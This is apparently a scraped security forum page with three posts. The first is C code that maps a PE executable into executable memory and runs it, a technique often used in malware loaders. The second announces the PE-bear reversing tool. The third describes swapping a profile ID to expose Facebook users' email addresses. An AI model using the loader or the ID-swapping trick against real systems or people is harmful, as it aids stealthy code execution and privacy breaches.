- old_imgbase; reloc_end = (IMAGE_BASE_RELOCATION *)((char *)base_reloc + dir_size); while (cur_reloc < reloc_end && cur_reloc->VirtualAddress) { int count = (cur_reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); WORD *cur_entry = (WORD *)(cur_reloc + 1); void *page_va = (void *)((char *)new_imgbase + cur_reloc->VirtualAddress); while (count--) { /* is valid x86 relocation? */ if (*cur_entry >> 12 == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)((char *)page_va + (*cur_entry & 0x0fff)) += delta; cur_entry++; } /* advance to the next one */ cur_reloc = (IMAGE_BASE_RELOCATION *)((char *)cur_reloc + cur_reloc->SizeOfBlock); } } IMAGE_NT_HEADERS *get_nthdrs(void *map) { IMAGE_DOS_HEADER *dos_hdr; dos_hdr = (IMAGE_DOS_HEADER *)map; return (IMAGE_NT_HEADERS *)((char *)map + dos_hdr->e_lfanew); } /* returns EP mem address on success * NULL on failure */ void *load_pe(void *fmap) { IMAGE_NT_HEADERS *nthdrs; IMAGE_DATA_DIRECTORY *reloc_entry, *imp_entry; void *vmap; WORD nsections, i; IMAGE_SECTION_HEADER *sec_hdr; size_t hdrs_size; IMAGE_BASE_RELOCATION *base_reloc; nthdrs = get_nthdrs(fmap); reloc_entry = &nthdrs->OptionalHeader.DataDirectory[iMAGE_DIRECTORY_ENTRY_BASERELOC]; /* no reloc info? */ if (!reloc_entry->VirtualAddress) return NULL; /* allocate executable mem (.SizeOfImage) */ vmap = VirtualAlloc(NULL, nthdrs->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!vmap) return NULL; /* copy the Image + Sec hdrs */ nsections = nthdrs->FileHeader.NumberOfSections; sec_hdr = IMAGE_FIRST_SECTION(nthdrs); hdrs_size = (char *)(sec_hdr + nsections) - (char *)fmap; memcpy(vmap, fmap, hdrs_size); /* copy the sections */ for (i = 0; i < nsections; i++) { size_t sec_size; sec_size = sec_hdr.SizeOfRawData; memcpy((char *)vmap + sec_hdr.VirtualAddress, (char *)fmap + sec_hdr.PointerToRawData, sec_size); } /* load dlls */ imp_entry = &nthdrs->OptionalHeader.DataDirectory[iMAGE_DIRECTORY_ENTRY_IMPORT]; if (!load_imports((IMAGE_IMPORT_DESCRIPTOR *) ((char *)vmap + imp_entry->VirtualAddress), vmap)) goto cleanup; /* fix relocations */ base_reloc = (IMAGE_BASE_RELOCATION *)((char *)vmap + reloc_entry->VirtualAddress); fix_relocations(base_reloc, reloc_entry->Size, (DWORD)vmap, nthdrs->OptionalHeader.ImageBase); return (void *)((char *)vmap + nthdrs->OptionalHeader.AddressOfEntryPoint); cleanup: VirtualFree(vmap, 0, MEM_RELEASE); return NULL; } int vmem_exec(void *fmap) { void *ep; ep = load_pe(fmap); if (!ep) return 0; __asm { mov ebx, fs:[0x30] mov eax, ep call eax } return 1; } Sursa: Execute PE file on virtual memory - rohitab.com - Forums
  21. Nytro

    PE-bear

    [h=2]PE-bear[/h] [h=2]What it is?[/h] PE-bear is my new project. It’s a reversing tool for PE files. [h=2]Download[/h] The latest version is 0.1.5 (beta), released: 14.07.2013 changelog.txt changelog.pdf Avaliable here: PE-bear 0.1.5 32bit PE-bear 0.1.5 64bit *requires: Microsoft Visual C++ 2010 Redistributable Package, avaliable here: Redist 32bit Redist 64bit [h=2]Features and details[/h] handles PE32 and PE64 views multiple files in parallel recognizes known packers (by signatures) fast disassembler – starting from any chosen RVA/File offset visualization of sections layout selective comparing of two chosen PE files integration with explorer menu and more… Currently project is under rapid development. You can expect new fetaures/fixes every week. Any sugestions/bug reports are welcome. I am waiting for your e-mails and comments. [h=2]Screenshots[/h] Sursa: PE-bear | hasherezade's 1001 nights
  22. 59b63a G 5af3107aba69 G 0 G 46 He explained that, in above string, “G“ acting as a delimiter/separator, where 2nd value after first “G“ i.e 5af3107aba69 is the Profile ID of user. Replacing user ID can give expose email ID of any user in Sign Up Page. Attacker can obtain this numerical ID of facebook profile from Graph API. Superb
×
×
  • Create New...